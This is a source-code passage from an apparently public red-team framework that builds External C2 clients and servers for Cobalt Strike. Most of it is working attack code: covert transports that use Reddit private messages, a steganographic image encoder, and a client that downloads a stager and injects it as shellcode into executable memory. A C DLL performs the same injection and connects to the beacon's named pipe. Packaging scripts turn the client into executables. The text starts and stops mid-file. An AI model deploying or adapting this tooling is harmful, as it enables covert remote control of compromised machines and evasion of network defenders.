sendData(data): 38 | """ 39 | This function sends 'data' via the covert channel 'connSock' 40 | """ 41 | 42 | slen = struct.pack(' 30 | 31 | 32 | def prepTransport(): 33 | # Auth as a script app 34 | global reddit # DEBUG: Not sure if needed 35 | global TASK_ID 36 | TASK_ID = "0" 37 | reddit = praw.Reddit(client_id=CLIENT_ID, 38 | client_secret=CLIENT_SECRET, 39 | password=PASSWORD, 40 | user_agent=USER_AGENT, 41 | username=USERNAME) 42 | # Debug, verify that we are connected 43 | print "We have successfully authenticated: %s" %(reddit) 44 | return reddit 45 | 46 | def sendData(data): 47 | if len(data) > 10000: 48 | data_list = [data[i:i+10000] for i in range(0, len(data), 10000)] 49 | sent_counter = 1 50 | for message in data_list: 51 | cur_subject = SEND_NAME + (" | " + str(sent_counter) + "/" + str(len(data_list))) 52 | reddit.redditor(USERNAME).message(cur_subject, message) 53 | sent_counter += 1 54 | return 0 55 | else: 56 | reddit.redditor(USERNAME).message(SEND_NAME, data) 57 | return 0 58 | 59 | 60 | def retrieveData(): 61 | counter_pattern = re.compile("^.* \| [0-9]+/[0-9]+$") 62 | total_count = re.compile("^.*/[0-9]+$") 63 | current_target = 1 64 | task = "" 65 | # First, we'll see if there's a new message, if it has a counter, 66 | # we'll take it into account, and loop through the messages to find 67 | # our first one. 68 | while True: 69 | for message in reddit.inbox.messages(limit=1): 70 | if message.id <= TASK_ID: 71 | sleep(5) 72 | pass 73 | 74 | if counter_pattern.match(message.subject) and (RECV_NAME in message.subject): 75 | # This is incredibly dirty, I apologize in advance. Basically, 76 | # we get the count, find the first message, 77 | # set it to the TASK_ID, and start to compile the full task 78 | counter_target = message.subject.split("/")[1] 79 | 80 | if message.subject == (RECV_NAME + " | 1/" + str(counter_target)): 81 | global TASK_ID 82 | TASK_ID = message.id 83 | task += message.body 84 | current_target += 1 85 | sleep(1) 86 | pass 87 | 88 | elif int(current_target) > int(counter_target): 89 | global TASK_ID 90 | TASK_ID = message.id 91 | return task 92 | 93 | elif message.subject != (RECV_NAME + " | " + str(current_target) + "/" + str(counter_target)): 94 | # We're getting these out of order, time for us to find the next message, and loop through it 95 | while True: 96 | msgiter = iter(reddit.inbox.messages()) 97 | for submessage in msgiter: 98 | if int(current_target) > int(counter_target): 99 | global TASK_ID 100 | TASK_ID = message.id 101 | return task 102 | if submessage.subject == (RECV_NAME + " | " + str(current_target) + "/" + str(counter_target)): 103 | current_target += 1 104 | task += submessage.body 105 | # sleep(0.1) 106 | break 107 | if submessage.subject != (RECV_NAME + " | " + str(current_target) + "/" + str(counter_target)): 108 | # sleep(0.1) 109 | continue 110 | else: 111 | pass 112 | 113 | # Got our new task 114 | elif message.subject == RECV_NAME: 115 | task = message.body 116 | global TASK_ID 117 | TASK_ID = message.id 118 | return task 119 | 120 | else: 121 | # message.id isn't right, but we don't have a task yet 122 | sleep(5) 123 | pass -------------------------------------------------------------------------------- /sample_builds/start_externalc2.cna: -------------------------------------------------------------------------------- 1 | # Start the external_c2 server by binding to 0.0.0.0:2222 2 | externalc2_start("0.0.0.0", 2222); -------------------------------------------------------------------------------- /skeletons/encoders/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Und3rf10w/external_c2_framework/9bbcb0d7bbe06b7aa5711808f494cdca7643d87e/skeletons/encoders/__init__.py -------------------------------------------------------------------------------- /skeletons/encoders/b64url/encoder_b64url.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import urllib 3 | 4 | def encode(data): 5 | data = base64.b64encode(data) 6 | return urllib.quote_plus(data)[::-1] 7 | 8 | def decode(data): 9 | data = urllib.unquote(data[::-1]) 10 | return base64.b64decode(data) 11 | -------------------------------------------------------------------------------- /skeletons/encoders/base64/encoder_base64.py: -------------------------------------------------------------------------------- 1 | # A simple encoder module for Und3rf10w's implementation of the external_c2 spec for Cobalt Strike that simples base64 encodes/decodes . 2 | import base64 3 | 4 | def encode(data): 5 | return base64.b64encode(data) 6 | 7 | def decode(data): 8 | return base64.b64decode(data) 9 | -------------------------------------------------------------------------------- /skeletons/encoders/lsbjpg/ENCODER_DEFINITIONS.md: -------------------------------------------------------------------------------- 1 | # Builder replacement mapping definitions 2 | 3 | This document lists and defines the builder definitons used for the `SkeletonHandler()` utility for documentation purposes. 4 | 5 | Values marked: `# * - Defined by user` will be read in from values directly defined by the user. Values not marked as such are defined by the conditions of the environment during execution of the builder logic. 6 | 7 | Generally unless noted otherwise, strings must be written in the config as `string`. In addition, unless noted otherwise, numbers are written as `1` and have their type forced in the code. 8 | 9 | For example, 10 | ```python 11 | [component] 12 | # Will be written to the file as 'bar' 13 | foo = bar 14 | # Written as: 15 | # foo = 'bar' 16 | 17 | # Will be written to the file as '1' 18 | baz = 1 19 | # Written as: 20 | # baz = '1' 21 | ``` 22 | 23 | For this reason, **IT IS CRITICAL YOU FORCE THE DESIRED TYPE OF YOUR VARIABLE**. 24 | 25 | ## Definitions 26 | #### encoders/lsbjpg/encoder_lsbjpg.py 27 | 28 | ``` 29 | # The size of the image in pixel width 30 | img_size = ```[var:::img_size]``` 31 | 32 | # The format to save the generated image in. Use r"'PNG'". 33 | img_format = ```[var:::img_format]``` 34 | 35 | ``` 36 | ---- -------------------------------------------------------------------------------- /skeletons/encoders/lsbjpg/encoder_lsbjpg.py: -------------------------------------------------------------------------------- 1 | import PIL 2 | from PIL import Image 3 | from cStringIO import StringIO 4 | import base64 5 | import zlib 6 | 7 | # img_format = output format of image, use `r'PNG'` in config (sans grave) 8 | # img_size = size of image, use `4320` in config for testing 9 | 10 | # 11 | VERSION = 0 12 | # 13 | 14 | def encode(data, photo_id=1, list_size=1): 15 | img = Image.new('RGB', (int(```[var:::img_size]```),int(```[var:::img_size]```)), color = 'red') 16 | pix = img.load() 17 | x = 1 18 | for byte in data: 19 | pix[x,x] = (pix[x,x][0], pix[x,x][1], ord(byte)) 20 | x = x + 1 21 | pass 22 | pix[0,0] = (VERSION, photo_id, list_size) 23 | img_byte_array = StringIO() 24 | img.save(img_byte_array, format=```[var:::img_format]```) 25 | return img_byte_array 26 | 27 | def decode(image): 28 | stego_pix = image.load() 29 | byte_list = [] 30 | 31 | for y in range(1, image.size[1]): 32 | # Add our byte we wnat 33 | byte_list.append(chr(stego_pix[y,y][2])) 34 | pass 35 | 36 | return ''.join(byte_list) 37 | -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/FRAMEWORK_DEFINITONS.md: -------------------------------------------------------------------------------- 1 | # Builder replacement mapping definitions 2 | 3 | This document lists and defines the builder definitons used for the `SkeletonHandler()` utility for documentation purposes for the framework: `cobalt_strike`. 4 | 5 | Values marked: `# * - Defined by user` will be read in from values directly defined by the user. Values not marked as such are defined by the conditions of the environment during execution of the builder logic. 6 | 7 | Generally unless noted otherwise, strings must be written in the config as `string`. In addition, unless noted otherwise, numbers are written as `1` and have their type forced in the code. 8 | 9 | For example, 10 | ```python 11 | [component] 12 | # Will be written to the file as 'bar' 13 | foo = bar 14 | # Written as: 15 | # foo = 'bar' 16 | 17 | # Will be written to the file as '1' 18 | baz = 1 19 | # Written as: 20 | # baz = '1' 21 | ``` 22 | 23 | For this reason, **IT IS CRITICAL YOU FORCE THE DESIRED TYPE OF YOUR VARIABLE**. 24 | 25 | ## Definitions 26 | ##### client/clientcore/clientcore.py 27 | ```python 28 | # Replaced with the source code of the selected encoder goes 29 | encoder_code = ```[var:::encoder_code]``` 30 | 31 | # Replaced with the source code of the selected transport 32 | transport_code = ```[var:::transport_code]``` 33 | 34 | # Replaced with the constants that need to be defined for the client to fuctionally operate 35 | client_consts = ```[var:::client_consts]``` 36 | 37 | # Replaced with a number that defines the amount of time the client will wait between batches of jobs 38 | # * - Defined by user 39 | c2_block_time = ```[var:::c2_block_time]`` 40 | 41 | # Replaced with the name of the dll that the client will refer to the embedded dll as 42 | # * - Defined by user 43 | cdll_name = ```[var:::cdll_name]``` 44 | ``` 45 | ---- 46 | 47 | ##### client/clientdll/c2file_dll.c 48 | ```python 49 | # Replaced with the name of the pipe that the client will open for the beacon 50 | # * - Defined by user 51 | c2_pipe_name = ```[var:::c2_pipe_name]```` 52 | ``` 53 | ---- 54 | 55 | ##### client/clienthelpers/compile_dll.sh 56 | ```python 57 | # Replaced with the name of the dll that the client will refer to the embedded dll as 58 | # * - Defined by user 59 | cdll_name = ```[var:::cdll_name]``` 60 | ``` 61 | ---- 62 | 63 | ##### server/config.py 64 | ```python 65 | # Replaced with a number that defines the amount of time the client will wait between batches of jobs 66 | # * - Defined by user 67 | c2_block_time = ```[var:::c2_block_time]``` 68 | 69 | # Replaced with the port to be used for c2 70 | # * - Defined by user 71 | external_c2_port = ```[var:::external_c2_port]``` 72 | 73 | # Replaced with the ip address of the c2 server 74 | # * - Defined by user 75 | external_c2_addr = ```[var:::external_c2_addr]``` 76 | 77 | # Replaced with the desired arch of the stager 78 | # * - Defined by user 79 | c2_arch = ```[var:::c2_arch]``` 80 | 81 | ``` 82 | ---- 83 | -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/client/clientcore/clientcore.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | from ctypes.wintypes import * 3 | from sys import exit 4 | from time import sleep 5 | import base64 6 | from ast import literal_eval 7 | 8 | 9 | # 10 | 11 | # 12 | 13 | 14 | # 15 | 16 | # 17 | 18 | 19 | # 20 | # ```[var:::client_consts]``` 21 | # 22 | 23 | 24 | # 25 | ```[var:::encoder_code]``` 26 | # 27 | 28 | 29 | # 30 | ```[var:::transport_code]``` 31 | # 32 | 33 | # Client core 34 | C2_BLOCK_TIME = int(```[var:::c2_block_time]```) 35 | CDLL_NAME = ```[var:::cdll_name]``` 36 | CLIENT_ID = ```[var:::client_id]``` 37 | PIPE_NAME = ```[var:::c2_pipe_name]``` 38 | C2_ARCH = ```[var:::c2_arch]``` 39 | 40 | 41 | maxlen = 1024 * 1024 42 | lib = CDLL(CDLL_NAME) 43 | 44 | lib.start_beacon.argtypes = [c_char_p, c_int] 45 | lib.start_beacon.restype = POINTER(HANDLE) 46 | 47 | 48 | def start_beacon(payload): 49 | return (lib.start_beacon(payload, len(payload))) 50 | 51 | 52 | lib.read_frame.argtypes = [POINTER(HANDLE), c_char_p, c_int] 53 | lib.read_frame.restype = c_int 54 | 55 | 56 | def ReadPipe(hPipe): 57 | mem = create_string_buffer(maxlen) 58 | l = lib.read_frame(hPipe, mem, maxlen) 59 | if l < 0: return (-1) 60 | chunk = mem.raw[:l] 61 | return (chunk) 62 | 63 | 64 | lib.write_frame.argtypes = [POINTER(HANDLE), c_char_p, c_int] 65 | lib.write_frame.restype = c_int 66 | 67 | 68 | def WritePipe(hPipe, chunk): 69 | print "wp: %s\n" % len(chunk) 70 | # print chunk # DEBUG 71 | ret = lib.write_frame(hPipe, c_char_p(chunk), c_int(len(chunk))) 72 | sleep(3) 73 | print "ret=%s" % ret 74 | return (ret) 75 | 76 | 77 | def task_encode(task): 78 | return base64.b64encode(task) 79 | 80 | 81 | def task_decode(task): 82 | return base64.b64decode(task) 83 | 84 | 85 | def notify_server(): 86 | print "Notifying server that we're ready for a stager" 87 | # Construct the data frame 88 | notification_data_frame = [CLIENT_ID, task_encode(str([str(C2_BLOCK_TIME), PIPE_NAME, C2_ARCH]))] 89 | print "notification_data_frame: " 90 | preped_notify_data_frame = task_encode(str(notification_data_frame)) 91 | send_server_notification(preped_notify_data_frame) 92 | print "Notification that we're ready sent to server" 93 | 94 | 95 | def go(): 96 | print "Waiting for stager..." # DEBUG 97 | p = retrieveData(CLIENT_ID) 98 | # Convert this to a task frame 99 | decoded_p = task_decode(p) 100 | raw_task_frame = literal_eval(decoded_p) 101 | decoded_task_frame = [raw_task_frame[0], task_decode(raw_task_frame[1])] 102 | 103 | print "Got a stager! loading..." 104 | 105 | # Wait a few seconds to give the stager a chance to load 106 | sleep(2) 107 | 108 | # Send the stager shellcode to the dll for injection and pipe creation 109 | handle_beacon = start_beacon(decoded_task_frame[1]) 110 | 111 | # Grabbing and relaying the metadata from the SMB pipe is done during interact() 112 | print "Loaded, and got handle to beacon. Getting METADATA." 113 | 114 | return handle_beacon 115 | 116 | 117 | def interact(handle_beacon): 118 | while (True): 119 | 120 | # LOGIC TO CHECK FOR A CHUNK FROM THE BEACON 121 | chunk = ReadPipe(handle_beacon) 122 | if chunk < 0: 123 | print 'readpipe %d' % (len(chunk)) 124 | break 125 | else: 126 | print "Received %d bytes from pipe" % (len(chunk)) 127 | print "relaying chunk to server" 128 | resp_frame = [CLIENT_ID, task_encode(chunk)] 129 | preped_resp_frame = task_encode(str(resp_frame)) 130 | sendData(CLIENT_ID, preped_resp_frame) 131 | 132 | # LOGIC TO CHECK FOR A NEW TASK 133 | print "Checking for new tasks from transport" 134 | 135 | newTask = retrieveData(CLIENT_ID) 136 | prep_new_task = task_decode(newTask) 137 | raw_new_task = literal_eval(prep_new_task) 138 | newTask_frame = [raw_new_task[0], task_decode(raw_new_task[1])] 139 | 140 | print "Got new task: %s" % (newTask_frame[1]) 141 | print "Writing %s bytes to pipe" % (len(newTask_frame[1])) 142 | r = WritePipe(handle_beacon, newTask_frame[1]) 143 | print "Wrote %s bytes to pipe" % (r) 144 | sleep(C2_BLOCK_TIME / 100) # python sleep is in seconds, C2_BLOCK_TIME in milliseconds 145 | 146 | 147 | # Prepare the transport module 148 | prepTransport() 149 | 150 | # Notify the server that we're ready 151 | notify_server() 152 | 153 | # Get and inject the stager 154 | handle_beacon = go() 155 | 156 | # Run the main loop, keyboard escape available for debugging 157 | try: 158 | interact(handle_beacon) 159 | except KeyboardInterrupt: 160 | print "Caught escape signal" 161 | exit(0) 162 | -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/client/clientcore/full_clientcore.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | import struct 3 | from sys import exit 4 | from time import sleep 5 | import win32file 6 | import base64 7 | from ast import literal_eval 8 | 9 | # 10 | 11 | # 12 | 13 | 14 | # 15 | 16 | # 17 | 18 | 19 | # 20 | # ```[var:::client_consts]``` 21 | # 22 | 23 | 24 | # 25 | ```[var:::encoder_code]``` 26 | # 27 | 28 | 29 | # 30 | ```[var:::transport_code]``` 31 | # 32 | 33 | # Client core 34 | C2_BLOCK_TIME = int(```[var:::c2_block_time]```) 35 | CLIENT_ID = ```[var:::client_id]``` 36 | PIPE_NAME = ```[var:::c2_pipe_name]``` 37 | C2_ARCH = ```[var:::c2_arch]``` 38 | 39 | def start_beacon(payload): 40 | shellcode = bytearray(payload) 41 | buf = (c_char * len(shellcode)).from_buffer(shellcode) 42 | ptr = windll.kernel32.VirtualAlloc(c_int(0), 43 | c_int(len(shellcode)), 44 | c_int(0x3000), # MEM_COMMIT 45 | c_int(0x40)) # PAGE_EXECUTE_READWRITE 46 | 47 | windll.kernel32.RtlMoveMemory(c_int(ptr), buf, c_int(len(shellcode))) 48 | windll.kernel32.CreateThread(None, c_int(0), c_int(ptr), None, c_int(0), None) 49 | 50 | 51 | # Open the handle to the pipe 52 | def open_handle(): 53 | GENERIC_READ = 0x80000000 54 | GENERIC_WRITE = 0x40000000 55 | OPEN_EXISTING = 0x3 56 | SECURITY_SQOS_PRESENT = 0x100000 57 | SECURITY_ANONYMOUS = 0x0 58 | while 1: 59 | pipe_handle = windll.kernel32.CreateFileA("\\\\.\\pipe" + ```[var:::c2_pipe_name]```, 60 | GENERIC_READ | GENERIC_WRITE, 61 | c_int(0), 62 | None, 63 | OPEN_EXISTING, 64 | SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, 65 | None) 66 | if pipe_handle != -1: 67 | break 68 | return pipe_handle 69 | 70 | def read_frame(handle): 71 | print "Handle is: %s" % (str(handle)) 72 | result, size = win32file.ReadFile(handle, 4, None) 73 | size = struct.unpack(' 3 | #include 4 | #include 5 | #include 6 | #include 7 | #define PAYLOAD_MAX_SIZE 512 * 1024 8 | #define BUFFER_MAX_SIZE 1024 * 1024 9 | 10 | 11 | /* read a frame from a handle */ 12 | DWORD read_frame(HANDLE my_handle, char * buffer, DWORD max) { 13 | DWORD size = 0, temp = 0, total = 0; 14 | /* read the 4-byte length */ 15 | ReadFile(my_handle, (char * ) & size, 4, & temp, NULL); 16 | 17 | /* read the whole thing in */ 18 | while (total < size) { 19 | // xychix added 1 line 20 | Sleep(3000); 21 | ReadFile(my_handle, buffer + total, size - total, & temp, NULL); 22 | total += temp; 23 | } 24 | return size; 25 | } 26 | 27 | /* write a frame to a file */ 28 | DWORD write_frame(HANDLE my_handle, char * buffer, DWORD length) { 29 | DWORD wrote = 0; 30 | printf("in write_frame we have: %s",buffer); 31 | WriteFile(my_handle, (void * ) & length, 4, & wrote, NULL); 32 | return WriteFile(my_handle, buffer, length, & wrote, NULL); 33 | //return wrote; 34 | } 35 | 36 | HANDLE start_beacon(char * payload, unsigned int pylen){ 37 | DWORD length = (DWORD) pylen; 38 | /* inject the payload stage into the current process */ 39 | char * payloadE = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 40 | memcpy(payloadE, payload, length); 41 | printf("Injecting Code, %d bytes\n", length); 42 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) payloadE, (LPVOID) NULL, 0, NULL); 43 | /* 44 | * connect to our Beacon named pipe */ 45 | HANDLE handle_beacon = INVALID_HANDLE_VALUE; 46 | while (handle_beacon == INVALID_HANDLE_VALUE) { 47 | handle_beacon = CreateFileA(```[var:::c2_pipe_name]```, 48 | GENERIC_READ | GENERIC_WRITE, 49 | 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL); 50 | 51 | } 52 | return(handle_beacon); 53 | } 54 | -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/client/clientdll/c2file_dll.h: -------------------------------------------------------------------------------- 1 | #ifndef c2file_H__ 2 | #define c2file_H__ 3 | 4 | DWORD read_frame(HANDLE my_handle, char * buffer, DWORD max) 5 | void write_frame(HANDLE my_handle, char * buffer, DWORD length) 6 | HANDLE start_beacon(char * payload, DWORD length) 7 | 8 | #endif -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/client/clienthelpers/compile_dll.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | i686-w64-mingw32-gcc -shared c2file_dll.c -o ```[var:::cdll_name]``` -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/client/clienthelpers/package_pyinstaller.script: -------------------------------------------------------------------------------- 1 | python -m PyInstaller -F -r c2file.dll -c client.py 2 | -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/server/beacon/__init__.py: -------------------------------------------------------------------------------- 1 | class Beacon(object): 2 | def __init__(self): 3 | self.sock = "" 4 | self.beacon_id = "UNDEFINED" 5 | # Default to a block time of 30 seconds 6 | self.block_time = 30 7 | self.pipe_name = "UNDEFINED" 8 | self.beacon_arch = "UNDEFINED" 9 | 10 | 11 | -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/server/config.py: -------------------------------------------------------------------------------- 1 | # TODO: Have a proper function that reads in a config 2 | 3 | # DEBUG: 4 | ############################################ 5 | ############################################ 6 | # Address of External c2 server 7 | EXTERNAL_C2_ADDR = ```[var:::external_c2_addr]``` 8 | 9 | # Port of external c2 server 10 | EXTERNAL_C2_PORT = ```[var:::external_c2_port]``` 11 | 12 | # The name of the pipe that the beacon should use 13 | C2_PIPE_NAME = ```[var:::c2_pipe_name]``` 14 | 15 | # A time in milliseconds that indicates how long the External C2 server should block when no new tasks are available 16 | C2_BLOCK_TIME = ```[var:::c2_block_time]``` 17 | 18 | # Desired Architecture of the Beacon 19 | C2_ARCH = ```[var:::c2_arch]``` 20 | 21 | # How long to wait (in seconds) before polling the server for new tasks/responses 22 | IDLE_TIME = ```[var:::c2_block_time]``` 23 | 24 | ENCODER_MODULE = ```[var:::encoder]``` 25 | TRANSPORT_MODULE = ```[var:::transport]``` 26 | 27 | # ID that you want to assign to the client 28 | CLIENT_ID = ```[var:::client_id]``` 29 | 30 | ########################################### 31 | # DEBUG: 32 | 33 | # Anything taken in from argparse that you want to make avaialable goes here: 34 | verbose = False 35 | debug = False 36 | -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/server/configureStage/__init__.py: -------------------------------------------------------------------------------- 1 | import config 2 | from utils import commonUtils 3 | 4 | 5 | def configureOptions(sock, arch, pipename, block): 6 | # This whole function should eventually be refactored into an elaborate forloop so that we can 7 | # support additional beacon options down the road 8 | # send the options 9 | if config.verbose: 10 | print commonUtils.color("Configuring stager options") 11 | 12 | beacon_arch = "arch=" + str(arch) 13 | if config.debug: 14 | print commonUtils.color(beacon_arch, status=False, yellow=True) 15 | commonUtils.sendFrameToC2(sock, beacon_arch) 16 | 17 | beacon_pipename = "pipename=" + str(pipename) 18 | if config.debug: 19 | print commonUtils.color(beacon_pipename, status=False, yellow=True) 20 | commonUtils.sendFrameToC2(sock, beacon_pipename) 21 | 22 | beacon_block = "block=" + str(block) 23 | if config.debug: 24 | print commonUtils.color(beacon_block, status=False, yellow=True) 25 | commonUtils.sendFrameToC2(sock, beacon_block) 26 | 27 | 28 | def requestStager(sock): 29 | commonUtils.sendFrameToC2(sock, "go") 30 | 31 | stager_payload = commonUtils.recvFrameFromC2(sock) 32 | 33 | return stager_payload 34 | 35 | 36 | def loadStager(beacon_obj): 37 | # Send options to the external_c2 server 38 | configureOptions(beacon_obj.sock, beacon_obj.beacon_arch, beacon_obj.pipe_name, beacon_obj.block_time) 39 | 40 | if config.debug: 41 | print commonUtils.color("stager configured, sending 'go'", status=False, yellow=True) 42 | 43 | # Request stager 44 | stager_payload = requestStager(beacon_obj.sock) 45 | 46 | if config.debug: 47 | print (commonUtils.color("STAGER: ", status=False, yellow=True) + "%s") % (stager_payload) 48 | 49 | # Prep stager payload 50 | if config.verbose: 51 | print commonUtils.color("Encoding stager payload") 52 | # Trick, this is actually done during sendData() 53 | 54 | # Send stager to the client 55 | if config.verbose: 56 | print commonUtils.color("Sending stager to client") 57 | # Need to make a data frame here 58 | raw_stager_frame = [beacon_obj.beacon_id, stager_payload] 59 | commonUtils.sendData(raw_stager_frame) 60 | 61 | # Retrieve the metadata we need to relay back to the server 62 | if config.verbose: 63 | print commonUtils.color("Awaiting metadata response from client") 64 | metadata = commonUtils.retrieveData(beacon_obj.beacon_id) 65 | 66 | # Send the metadata frame to the external_c2 server 67 | if config.verbose: 68 | print commonUtils.color("Sending metadata to c2 server") 69 | if config.debug: 70 | print (commonUtils.color("METADATA: ", status=False, yellow=True) + "%s") % (metadata) 71 | commonUtils.sendFrameToC2(beacon_obj.sock, metadata[1]) 72 | 73 | # Pretend we have error handling, return 0 if everything is Gucci 74 | 75 | return 0 76 | -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/server/establishedSession/__init__.py: -------------------------------------------------------------------------------- 1 | import config 2 | from utils import commonUtils 3 | 4 | def checkForTasks(sock): 5 | """ 6 | Poll the c2 server for new tasks 7 | """ 8 | 9 | chunk = commonUtils.recvFrameFromC2(sock) 10 | if chunk < 0: 11 | if config.debug: 12 | print (commonUtils.color("Attempted to read %d bytes from c2 server", status=False, yellow=True)) %(len(chunk)) 13 | # break # This should probably just return None or something 14 | return None 15 | else: 16 | if config.debug: 17 | if len(chunk) > 1: 18 | print (commonUtils.color("Recieved %d bytes from c2 server", status=False, yellow=True)) % (len(chunk)) 19 | else: 20 | print (commonUtils.color("Recieved empty task from c2 server", status=False, yellow=True)) 21 | if len(chunk) > 1: 22 | if config.verbose: 23 | print (commonUtils.color("Recieved new task from C2 server!") + "(%s bytes)") % (str(len(chunk))) 24 | if config.debug: 25 | print (commonUtils.color("NEW TASK: ", status=False, yellow=True) + "%s") % (chunk) 26 | return chunk 27 | 28 | 29 | 30 | #def checkForResponse(sock): 31 | def checkForResponse(beacon_id): 32 | """ 33 | Check the covert channel for a response from the client 34 | """ 35 | 36 | recvdResponse = commonUtils.retrieveData(beacon_id) 37 | if config.debug: 38 | if len(recvdResponse) > 1: 39 | print (commonUtils.color("Recieved %d bytes from client", status=False, yellow=True)) % (len(recvdResponse)) 40 | else: 41 | print (commonUtils.color("Recieved empty response from client", status=False, yellow=True)) 42 | if len(recvdResponse) > 1: 43 | if config.verbose: 44 | print (commonUtils.color("Recieved new task from C2 server!") + "(%s bytes)") % (str(len(recvdResponse))) 45 | if config.debug: 46 | print (commonUtils.color("RESPONSE: ", status=False, yellow=True) + "%s") % (recvdResponse) 47 | 48 | return recvdResponse 49 | 50 | def relayResponse(sock, response): 51 | # Relays the response from the client to the c2 server 52 | # 'response', will have already been decoded from 'establishedSession.checkForResponse()' 53 | # -- Why is this it's own function? Because I have no idea what I'm doing 54 | if config.debug: 55 | print commonUtils.color("Relaying response to c2 server", status=False, yellow=True) 56 | commonUtils.sendFrameToC2(sock, response) 57 | 58 | def relayTask(task): 59 | # Relays a new task from the c2 server to the client 60 | # 'task' will be encoded in the 'commonUtils.sendData()' function. 61 | if config.debug: 62 | print commonUtils.color("Relaying task to client", status=False, yellow=True) 63 | commonUtils.sendData(task) 64 | -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/server/sample_server-raw_socket.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | from time import sleep 4 | import sys 5 | import argparse 6 | 7 | 8 | # TODO: Patch in startup sanity checks: 9 | 10 | # One thing we can do is once the server and client starts (i.e. before sending a stager), we can send the C2_PIPE_NAME to the client via the covert channel. 11 | # The client can retrieve it via the covert channel, and enumerate the name(s) of the pipes available to it, and compare that against the given C2_PIPE_NAME. 12 | # If a matching C2_PIPE_NAME is found on the client, notify the server via the covert channel, and both the server and client should start their respective establishedSession loop. 13 | # This would enable us to resume a running beacon if the spec is updated to support it. 14 | 15 | # TODO: Have a proper function that reads in a config 16 | 17 | # DEBUG: 18 | ############################################ 19 | # Address of External c2 server 20 | EXTERNAL_C2_ADDR = "127.0.0.1" 21 | 22 | # Port of external c2 server 23 | EXTERNAL_C2_PORT = "2222" 24 | 25 | # The name of the pipe that the beacon should use 26 | C2_PIPE_NAME = "foobar" 27 | 28 | # A time in milliseconds that indicates how long the External C2 server should block when no new tasks are available 29 | C2_BLOCK_TIME = 100 30 | 31 | # Desired Architecture of the Beacon 32 | C2_ARCH = "x86" 33 | 34 | # How long to wait (in seconds) before polling the server for new tasks/responses 35 | IDLE_TIME = 5 36 | 37 | ENCODER_MODULE = "encoder_base64" 38 | TRANSPORT_MODULE = "transport_raw_socket" 39 | 40 | ########################################### 41 | # DEBUG: 42 | 43 | class commonUtils(object): 44 | @staticmethod 45 | def createSocket(): 46 | # Borrowed from https://github.com/outflanknl/external_c2/blob/master/python_c2ex.py 47 | d = {} 48 | d['sock'] = socket.create_connection((EXTERNAL_C2_ADDR, int(EXTERNAL_C2_PORT))) 49 | d['state'] = 1 50 | return (d['sock']) 51 | 52 | @staticmethod 53 | def sendFrameToC2(sock, chunk): 54 | slen = struct.pack(' 1: 238 | print (commonUtils.color("Recieved %d bytes from c2 server", status=False, yellow=True)) % (len(chunk)) 239 | else: 240 | print (commonUtils.color("Recieved empty task from c2 server", status=False, yellow=True)) 241 | if len(chunk) > 1: 242 | if args.verbose: 243 | print (commonUtils.color("Recieved new task from C2 server!") + "(%s bytes)") % (str(len(chunk))) 244 | if args.debug: 245 | print (commonUtils.color("NEW TASK: ", status=False, yellow=True) + "%s") % (chunk) 246 | return chunk 247 | 248 | ########## 249 | 250 | 251 | 252 | #def checkForResponse(sock): 253 | @staticmethod 254 | def checkForResponse(): 255 | """ 256 | Check the covert channel for a response from the client 257 | """ 258 | 259 | recvdResponse = commonUtils.retrieveData() 260 | if args.debug: 261 | if len(recvdResponse) > 1: 262 | print (commonUtils.color("Recieved %d bytes from client", status=False, yellow=True)) % (len(recvdResponse)) 263 | else: 264 | print (commonUtils.color("Recieved empty response from client", status=False, yellow=True)) 265 | if len(recvdResponse) > 1: 266 | if args.verbose: 267 | print (commonUtils.color("Recieved new task from C2 server!") + "(%s bytes)") % (str(len(recvdResponse))) 268 | if args.debug: 269 | print (commonUtils.color("RESPONSE: ", status=False, yellow=True) + "%s") % (recvdResponse) 270 | 271 | 272 | return recvdResponse 273 | 274 | @staticmethod 275 | def relayResponse(sock, response): 276 | # Relays the response from the client to the c2 server 277 | # 'response', will have already been decoded from 'establishedSession.checkForResponse()' 278 | # -- Why is this it's own function? Because I have no idea what I'm doing 279 | if args.debug: 280 | print commonUtils.color("Relaying response to c2 server", status=False, yellow=True) 281 | commonUtils.sendFrameToC2(sock, response) 282 | 283 | @staticmethod 284 | def relayTask(task): 285 | # Relays a new task from the c2 server to the client 286 | # 'task' will be encoded in the 'commonUtils.sendData()' function. 287 | if args.debug: 288 | print commonUtils.color("Relaying task to client", status=False, yellow=True) 289 | commonUtils.sendData(task) 290 | 291 | def main(): 292 | # Argparse for certain options 293 | parser = argparse.ArgumentParser() 294 | parser.add_argument('-v', action='store_true', help='Enable verbose output', dest='verbose', default=False) 295 | parser.add_argument('-d', action='store_true', help='Enable debugging output', dest='debug', default=False) 296 | 297 | 298 | # Call arguments with args.$ARGNAME 299 | global args 300 | args = parser.parse_args() 301 | 302 | # Enable verbose output if debug is enabled 303 | if args.debug: 304 | args.verbose = True 305 | 306 | # Import our defined encoder and transport modules 307 | if args.verbose: 308 | print (commonUtils.color("Importing encoder module: ") + "%s") % (ENCODER_MODULE) 309 | commonUtils.importModule(ENCODER_MODULE, "encoder") 310 | if args.verbose: 311 | print (commonUtils.color("Importing transport module: ") + "%s") % (TRANSPORT_MODULE) 312 | commonUtils.importModule(TRANSPORT_MODULE, "transport") 313 | 314 | 315 | try: 316 | # Start with logic to setup the connection to the external_c2 server 317 | sock = commonUtils.createSocket() 318 